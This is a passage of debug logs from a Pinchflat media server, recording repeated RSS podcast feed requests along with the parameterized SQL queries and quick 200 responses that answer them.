m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [39, 2000] 18:08:17.549 [debug] QUERY OK source="source_metadata" db=0.0ms idle=156.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [39] 18:08:17.549 [debug] QUERY OK source="media_metadata" db=0.0ms idle=156.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563741] 18:08:17.549 [info] Sent 200 in 4ms 18:08:18.035 [info] GET /sources/93352545-e4c8-4fef-be42-ab095b3fa128/feed.xml 18:08:18.035 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "93352545-e4c8-4fef-be42-ab095b3fa128"} Pipelines: [:maybe_basic_auth] 18:08:18.036 [debug] QUERY OK source="sources" db=0.2ms idle=547.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["93352545-e4c8-4fef-be42-ab095b3fa128"] 18:08:18.038 [debug] QUERY OK source="media_items" db=2.2ms idle=490.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [41, 2000] 18:08:18.053 [debug] QUERY OK source="source_metadata" db=0.1ms idle=506.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [41] 18:08:18.053 [debug] QUERY OK source="media_metadata" db=0.0ms idle=504.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564177] 18:08:18.054 [info] Sent 200 in 18ms 18:08:19.557 [info] GET /sources/7eb49f00-7df6-4cda-b867-301266b38336/feed.xml 18:08:19.557 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "7eb49f00-7df6-4cda-b867-301266b38336"} Pipelines: [:maybe_basic_auth] 18:08:19.557 [debug] QUERY OK source="sources" db=0.1ms idle=1518.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["7eb49f00-7df6-4cda-b867-301266b38336"] 18:08:19.560 [debug] QUERY OK source="media_items" db=2.4ms idle=1504.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 18:08:19.576 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1522.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 18:08:19.576 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1086.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563693] 18:08:19.577 [info] Sent 200 in 20ms 18:08:20.838 [info] GET /sources/32c68f3a-7ceb-4fd9-9852-b43421374079/feed.xml 18:08:20.838 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "32c68f3a-7ceb-4fd9-9852-b43421374079"} Pipelines: [:maybe_basic_auth] 18:08:20.839 [debug] QUERY OK source="sources" db=0.1ms idle=1281.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["32c68f3a-7ceb-4fd9-9852-b43421374079"] 18:08:20.839 [debug] QUERY OK source="media_items" db=0.3ms idle=1278.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [22, 2000] 18:08:20.839 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1263.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [22] 18:08:20.839 [info] Sent 200 in 1ms 18:08:20.998 [info] GET /sources/3914eb9d-4fe0-471d-87d8-8684d6d44aa1/feed.xml 18:08:20.999 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3914eb9d-4fe0-471d-87d8-8684d6d44aa1"} Pipelines: [:maybe_basic_auth] 18:08:20.999 [debug] QUERY OK source="sources" db=0.1ms idle=507.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3914eb9d-4fe0-471d-87d8-8684d6d44aa1"] 18:08:20.999 [debug] QUERY OK source="media_items" db=0.1ms idle=160.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [42, 2000] 18:08:20.999 [debug] QUERY OK source="source_metadata" db=0.0ms idle=160.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [42] 18:08:21.000 [debug] QUERY OK source="media_metadata" db=0.1ms idle=160.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563485] 18:08:21.000 [info] Sent 200 in 1ms 18:08:21.344 [info] GET /sources/1ceb8b0f-66ff-466e-b4d4-3693b3dd1ee1/feed.xml 18:08:21.344 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1ceb8b0f-66ff-466e-b4d4-3693b3dd1ee1"} Pipelines: [:maybe_basic_auth] 18:08:21.344 [debug] QUERY OK source="sources" db=0.1ms idle=466.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1ceb8b0f-66ff-466e-b4d4-3693b3dd1ee1"] 18:08:21.345 [debug] QUERY OK source="media_items" db=0.3ms idle=345.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [8, 2000] 18:08:21.345 [debug] QUERY OK source="source_metadata" db=0.0ms idle=345.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [8] 18:08:21.345 [info] Sent 200 in 1ms 18:08:22.135 [info] GET /sources/a44c23cb-2597-4e92-a8a4-345e4b7faa0b/feed.xml 18:08:22.135 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a44c23cb-2597-4e92-a8a4-345e4b7faa0b"} Pipelines: [:maybe_basic_auth] 18:08:22.135 [debug] QUERY OK source="sources" db=0.1ms idle=1135.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a44c23cb-2597-4e92-a8a4-345e4b7faa0b"] 18:08:22.136 [debug] QUERY OK source="media_items" db=0.5ms idle=790.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [15, 2000] 18:08:22.136 [debug] QUERY OK source="source_metadata" db=0.0ms idle=790.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [15] 18:08:22.136 [debug] QUERY OK source="media_metadata" db=0.0ms idle=790.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563490] 18:08:22.136 [info] Sent 200 in 1ms 18:08:22.196 [info] GET /sources/c4712696-206d-4bb6-b3f1-860701c1e3b3/feed.xml 18:08:22.196 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c4712696-206d-4bb6-b3f1-860701c1e3b3"} Pipelines: [:maybe_basic_auth] 18:08:22.196 [debug] QUERY OK source="sources" db=0.0ms idle=703.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c4712696-206d-4bb6-b3f1-860701c1e3b3"] 18:08:22.197 [debug] QUERY OK source="media_items" db=0.3ms idle=61.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [23, 2000] 18:08:22.197 [debug] QUERY OK source="source_metadata" db=0.0ms idle=61.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [23] 18:08:22.197 [debug] QUERY OK source="media_metadata" db=0.0ms idle=61.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563098] 18:08:22.197 [info] Sent 200 in 1ms 18:08:22.482 [info] GET /sources/1b5043dd-323a-4290-b9d6-fcb820d902a3/feed.xml 18:08:22.482 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1b5043dd-323a-4290-b9d6-fcb820d902a3"} Pipelines: [:maybe_basic_auth] 18:08:22.483 [debug] QUERY OK source="sources" db=0.1ms idle=346.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1b5043dd-323a-4290-b9d6-fcb820d902a3"] 18:08:22.485 [debug] QUERY OK source="media_items" db=2.3ms idle=286.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 18:08:22.486 [debug] QUERY OK source="source_metadata" db=0.0ms idle=289.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 18:08:22.486 [debug] QUERY OK source="media_metadata" db=0.0ms idle=289.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564181] 18:08:22.486 [info] Sent 200 in 4ms 18:08:23.306 [info] GET /sources/7334e781-b0a6-4db9-a6e2-06f74270b45f/feed.xml 18:08:23.306 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "7334e781-b0a6-4db9-a6e2-06f74270b45f"} Pipelines: [:maybe_basic_auth] 18:08:23.307 [debug] QUERY OK source="sources" db=0.2ms idle=823.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["7334e781-b0a6-4db9-a6e2-06f74270b45f"] 18:08:23.307 [debug] QUERY OK source="media_items" db=0.1ms idle=821.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [17, 2000] 18:08:23.307 [debug] QUERY OK source="source_metadata" db=0.0ms idle=820.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [17] 18:08:23.307 [info] Sent 200 in 1ms 18:08:23.619 [info] GET /sources/402942c1-b953-4337-bf84-9c202c9c298c/feed.xml 18:08:23.619 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "402942c1-b953-4337-bf84-9c202c9c298c"} Pipelines: [:maybe_basic_auth] 18:08:23.619 [debug] QUERY OK source="sources" db=0.2ms idle=1125.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["402942c1-b953-4337-bf84-9c202c9c298c"] 18:08:23.621 [debug] QUERY OK source="media_items" db=1.1ms idle=312.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [19, 2000] 18:08:23.627 [debug] QUERY OK source="source_metadata" db=0.0ms idle=320.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [19] 18:08:23.627 [debug] QUERY OK source="media_metadata" db=0.0ms idle=320.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1561141] 18:08:23.628 [info] Sent 200 in 8ms 18:08:25.166 [info] GET /sources/2373d096-97ad-46b0-b2be-43416605c93f/feed.xml 18:08:25.166 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2373d096-97ad-46b0-b2be-43416605c93f"} Pipelines: [:maybe_basic_auth] 18:08:25.167 [debug] QUERY OK source="sources" db=0.2ms idle=670.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2373d096-97ad-46b0-b2be-43416605c93f"] 18:08:25.167 [debug] QUERY OK source="media_items" db=0.6ms idle=288.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [26, 2000] 18:08:25.168 [debug] QUERY OK source="source_metadata" db=0.0ms idle=290.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [26] 18:08:25.168 [debug] QUERY OK source="media_metadata" db=0.0ms idle=290.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563757] 18:08:25.168 [info] Sent 200 in 2ms 18:08:25.637 [info] GET /sources/b32c7867-dbdf-4e74-abb8-11b0d024b006/feed.xml 18:08:25.637 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "b32c7867-dbdf-4e74-abb8-11b0d024b006"} Pipelines: [:maybe_basic_auth] 18:08:25.637 [debug] QUERY OK source="sources" db=0.2ms idle=470.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["b32c7867-dbdf-4e74-abb8-11b0d024b006"] 18:08:25.638 [debug] QUERY OK source="media_items" db=0.3ms idle=470.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [24, 2000] 18:08:25.638 [debug] QUERY OK source="source_metadata" db=0.0ms idle=469.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [24] 18:08:25.638 [info] Sent 200 in 1ms 18:08:26.396 [info] GET /sources/16b58d74-5ec6-42de-be76-95f451d88dd3/feed.xml 18:08:26.396 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: 